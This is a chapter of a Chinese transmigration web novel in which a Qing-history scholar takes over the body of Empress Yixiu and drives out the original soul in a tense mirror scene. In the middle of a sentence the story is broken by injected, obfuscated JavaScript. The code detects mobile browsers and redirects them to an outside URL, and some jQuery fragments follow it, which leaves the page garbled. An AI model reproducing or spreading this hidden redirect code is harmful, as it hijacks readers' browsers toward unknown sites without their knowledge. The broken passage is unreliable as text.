头很重，像灌了铅，又像被钝刀子来回地锯。意识沉在黏稠的黑暗里，偶尔浮上来一丝半点，触到的也是湿冷的锦缎和浓郁的、令人反胃的药气。我不是在宿舍赶论文，边啃冷掉的煎饼果子边核对雍正初年后宫妃嫔的脉案资料吗？怎么……


    “娘娘……娘娘您可算有动静了……菩萨保佑……”


    谁在哭？声音尖细，带着颤，刮擦着耳膜。我想睁眼，眼皮却沉得抬不起。无数破碎的影像和声音却在这时蛮横地撞进脑海——大婚的红烛，冰冷漫长的侧福晋岁月，姐姐惊鸿一瞥的笑脸，皇上淡漠的“宜修，你总是最懂事的”，还有……还有刚刚举行过的、属于皇后的册封大典，凤冠沉重，礼服层叠，百官朝拜，而她站在高处，身侧帝王的位置，空空荡荡，只有穿堂风刺骨地冷。


    心里忽然涌起巨大的悲恸和……不甘。这不是我的情绪。


    我猛地吸了一口气，真正睁开了眼。


    入目是杏黄色的帐顶，绣着繁复的龙凤呈祥图案。帐子用金钩松松挽着，窗外天光昏暗，似乎是清晨，又或是傍晚。一个穿着青色宫装、梳着两把头的宫女扑在床沿，眼睛红肿，见我睁眼，泪又涌了出来：“娘娘！您昏睡三日了，太医都说……都说……”


    我转了转眼珠，脖颈僵硬。嗓子干得冒烟，发不出完整的声音。


    “水……”气若游丝。


    那宫女却像得了圣旨，慌忙爬起来，踉跄着扑到桌边倒水，手抖得厉害，一半洒在了托盘里。温水递到唇边，我勉强就着她的手喝了几口，一股参味。借着喝水的姿势，我迅速打量四周。房间宽阔，摆设典雅而厚重，多宝阁上器物闪着低调的光泽，空气里浮动着檀香和药味混合的气息。这不是任何现代医院或我的狗窝宿舍。


    “剪秋……”我听见自己吐出两个陌生的字音。


    “奴婢在！奴婢在！”剪秋的声音带着哭过后的沙哑和无限惊喜。


    剪秋。景仁宫。皇后。乌拉那拉·宜修。


    无数史料记载、影视形象、学术论文中的碎片，与脑海中骤然明晰起来的、属于另一个“我”的记忆轰然对撞。我是章静，历史学博士，专攻清史，昨夜还在为雍正后宫人事变动与导师争论。我也是乌拉那拉·宜修，大清雍正帝的皇后，刚刚正位中宫不过十日。


    册封大典的疲惫，深宫积年的郁悒，还有……那场来得蹊跷、去得迅猛的高热。原主的最后一点意识，似乎就消散在那场高热里。而我，在一个错乱的时空节点，被塞进了这具还带着病后虚弱的身体。


    接下来的两天，我以“病后体虚、神思倦怠”为由，谢绝了所有探视，包括皇帝。剪秋和绘春等近身宫女小心翼翼，只当我是病去如抽丝。我则需要时间，在一片混乱中厘清自己。


    原主的记忆庞杂而细碎，带着浓重的情绪色彩：对纯元皇后看似恭敬实则复杂难言的心结，对皇帝爱恨交织的绝望，对华妃跋扈的隐忍与厌憎，对各宫妃嫔不动声色的审视与算计，还有对皇子、尤其是对弘晖早夭那无法言说的剧痛……这些记忆像潮水，时不时涌上来，冲击着我作为“章静”的理智。我必须死死守住自己核心的意识，像一个旁观者，又像一个被迫的体验者，去翻阅这沉重的人生卷宗。


    更重要的是，我能感觉到，这具身体里，不止有我一个“意识”。某些瞬间，当剪秋提到“皇上今日问起娘娘”，或是绘春摆弄窗下一盆开败了的牡丹时，心口会掠过一阵尖锐的、不属于我的刺痛或空茫。尤其是每次对镜，镜中那张苍白柔婉、眉宇间锁着淡淡轻愁的脸，会让我恍惚。那不仅仅是乌拉那拉·宜修的容颜，那眼睛里，偶尔会闪过一丝极深的、冰冷的寂灭，像一口枯井，映不出任何光亮。


    那不是我的眼神。


    第三日傍晚，我遣走了所有伺候的人，只留下梳妆台上一盏孤灯。铜镜打磨得极为光滑，清晰映出“我”的模样。年轻，不过二十出头，容颜秀丽，只是气色太差，眼下有浓重的青影，嘴唇没什么血色。我静静地看着镜中的自己，或者，是她。


    “我知道你还在。”我开口，声音有些沙哑，在寂静的殿宇里显得格外清晰。“出来聊聊？”


    镜中人影没有任何变化，只有烛火微微跳动。


    “你这辈子，太累，太苦，太不值了。”我慢慢地说，手指抚过梳妆台上冰凉的玉石梳子，“放心，我会好好替你活。活得……比原来精彩。”


    依旧没有回应。但寝殿内的温度，似乎下降了些许。那是一种微妙的、心理上的寒意。


    我叹了口气，目光扫过妆奁。里面金银玉饰之下，压着一把小小的金剪刀，是日常用来修剪灯花或线头的。我拿起了它。剪刀很凉，分量不轻。我转过身，背对妆镜，其实并无必要，但这让我觉得更像是一场只有“我们”两人的对峙。我将冰凉的剪刀尖，轻轻抵在了自己一侧的脖颈上，那里皮肤很薄，能感到脉搏在指尖下急促地跳动。


    “自我介绍一下，”我对着空气，也对着这具身体深处可能存在的那个灵魂，语气平静得像在课堂陈述观点，“我叫章静。历史学博士，研究方向，清史。雍正朝的后宫，我读过起居注，看过脉案，分析过妃嫔升降的每一次背后动因。你们这里的规矩，人心，算计，我门清。”


    剪刀又压进去一分，轻微的刺痛传来。


    “所以，”我一字一顿，“你让，还是不让？”


    死一般的寂静。


    然后，我看到了。就在镜中，我身影的旁边，一道更淡、更虚渺的影子缓缓浮现。同样的年轻容颜，同样的皇后装束，但那张脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963295|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上没有任何表情，眼神空荡荡的，看着我，又像透过我看着无尽的虚空。那不是活人的眼神，是枯骨，是灰烬。


    她终于开口了，声音直接响在我的脑海深处，缥缈得像是从很远的水底传来，每个字都浸透着淬了毒的寒意：


    “我恨。”


    “恨他们所有人。”


    我握着剪刀的手指，微微松了些力道。镜中，我的唇角，极其缓慢地，向上弯起一个弧度。不是属于乌拉那拉·宜修那种温婉的、习惯性的微笑，而是带着一种冷静的、近乎锋利的了然。


    “那就恨着。”我听见自己清晰的声音，在安静的殿内回荡，也响给那个即将彻底消散的灵魂听，“恨比爱让人活得久，知道吗？”


    镜中的虚影似乎波动了一下，那双死寂的眼眸里，最后一点微弱的光，像风中的残烛，倏地熄灭了。随即，那道淡淡的影子，如同滴入水中的墨痕，迅速化开，消散在铜镜模糊的光晕里，再无痕迹。


    脖颈上冰凉的触感消失。我放下剪刀，金属磕在妆台上，发出“咔”的一声轻响。


    寝殿内那股无形的寒意也悄然褪去，只剩下初春夜晚正常的微凉。我重新转向妆镜。镜中，只剩下我一个人。脸色依旧苍白，眉眼依旧温婉，但那双眼睛……里面的茫然、沉重、属于原主的深重伤痛，似乎随着那抹魂魄的消散，被涤荡一空。取而代之的，是一种极度清醒的冷静，以及冷静之下，开始悄然盘算的幽光。


    我伸出手指，轻轻描摹镜中年轻皇后的轮廓。皮肤细腻，下颌柔美，是一张很容易让人产生保护欲、也容易让人放松警惕的脸。


    “乌拉那拉·宜修……”我低声念出这个名字，又轻轻补上自己的，“章静。”


    这波穿越，荒诞绝伦，危机四伏。前有心思深沉的雍正，后有虎视眈眈的年世兰，暗处不知多少才人佳人正在蓄势待发。原主留下的是一盘表面光鲜、内里千疮百孔的残局，和一个“贤德”之名牢牢束缚的皇后身份。


    但……


    我缓缓放下手，指尖无意中碰到妆奁里一个丝绒小袋。原主的记忆悄然浮起——那是姐姐纯元从前送给她的香囊，她一直留着，从未再用，却也未曾丢弃。香囊的丝绒已经有些褪色，上面绣着的石榴图案，寓意多子，此刻看来却有些刺眼。


    我捻了捻那粗糙的丝绒表面，然后松开手，任由它落回妆奁深处。


    专业对口了。


    窗外的天色，已彻底黑透。景仁宫的夜晚，才刚刚开始。远处，似乎传来隐约的更鼓声，一声，又一声，缓慢而坚定，敲打着紫禁城无边无际的寂静。我知道，明天太阳升起时，我将不再是历史书页间一个单薄的名字或一段评价，而是真正踏入这片我曾无数次在故纸堆里揣摩过的、真实而残酷的战场。